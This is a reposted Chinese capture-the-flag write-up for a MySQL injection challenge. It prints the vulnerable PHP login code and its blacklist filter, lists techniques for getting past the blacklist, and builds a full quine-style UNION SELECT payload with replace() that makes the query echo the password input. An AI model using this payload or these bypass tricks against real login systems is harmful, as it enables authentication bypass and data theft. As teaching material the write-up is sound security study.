CTFHub_2021-第五空間智能安全大賽-Web-yet_another_mysql_injection(quine注入)


轉載自:https://blog.csdn.net/m0_53065491/article/details/122478401

進入場景,是個登錄框

f12找到提示,拿到源碼

源代碼如下

 <?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');//username===admin
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {//這個是關鍵
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

經過分析源代碼發現只有password字段可控,並且對password字段使用正則表達式做了關鍵字的過濾

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

看到這里心想着雖然過濾了sleep,>,<,substr這些盲注經常用到的函數和符號。但只要是黑名單,就存在被繞過的風險

sleep 可以用benchmark代替
 
<,> 可以用least(),greatest()代替
 
=,in 可以用like代替
 
substr 可以用mid代替

空格 可以用/**/代替

要是盲注就好辦了,直接上sqlmap。但是接着往下看就會發現這么一段很關鍵的代碼

if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

這個if判斷了從數據庫中查到的密碼是否和用戶輸入的是一樣的,只有完全一致才會得到FLAG,那這豈不是只能輸入正確密碼才能得到FLAG???

進入正題

通過分析發現只有輸入正確的密碼才能得到FLAG,但是這張表其實是一張空表,所以爆破密碼這條路走不通。

那就只有一個辦法,就是構造一個輸入輸出完全一致的語句,就可以繞過限制並得到FLAG

注入的payload

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

看到這里是不是一臉懵逼,別着急,慢慢分析

1.首先先了解一下replace()函數

  • replace(object,search,replace)
  • 把object對象中出現的的search全部替換成replace

看個例子

select replace(".",char(46),".");# char(46)就是.
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+

2.如何讓輸入輸出一致呢?

上面的例子用.替換object里的.,最終返回了一個.,那如果我們將object寫成replace(".",char(46),".")會有什么變化呢?

mysql> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+

結果返回了replace(".",char(46),".")這個東西,但還是沒有達到我們預期的效果怎么辦,這時候我們將第三個參數也改成replace(".",char(46),".")

mysql> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+

有點類似套娃的感覺。先分析一下這段sql語句

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

replace函數的三個參數分別是

'replace(".",char(46),".")'
char(46)
'replace(".",char(46),".")'

這個語句的意思是用第三個參數替換第一個參數里面的.並返回替換后的第一個參數

這樣就明白了為什么返回的是replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")")

那么這樣是否就達到了我們輸入輸出一致的目的呢,答案肯定是還沒有。細心點就會發現輸入與輸出在單雙引號上有細微的不同

3.解決單雙引號不同的問題

有了上面的經驗后,我們這樣考慮,如果先將雙引號替換成單引號是不是就可以解決引號不同的問題了。實現方法無非就是在套一層replace

mysql> select replace(replace('"."',char(34),char(39)),char(46),".");# 先執行內層replace
+--------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),".") |
+--------------------------------------------------------+
| '.'                                                    |
+--------------------------------------------------------+
1 row in set (0.00 sec)

這樣就可以將我們的雙引號替換成單引號,此時我們繼續沿用上面的思路,構造輸入輸出相同的語句

mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先將str里的雙引號替換成單引號,再用str替換str里的.

str基本形式(可以理解成上面的".")

replace(replace(".",char(34),char(39)),char(46),".")

完整的Quine就是Quine基本形式+str基本形式

回過頭來再看我們的payload

1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')#
可理解成我們的Quine的基本形式
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
這個就是我們str的基本形式

先將str里的雙引號替換成單引號
1'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#
最終通過來回替換的形式達到了我們的目的

現在就明白了為什么我們的內層replace里面有一個單獨的''

Quine形式多變,修改的時候切記str對應也要修改


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM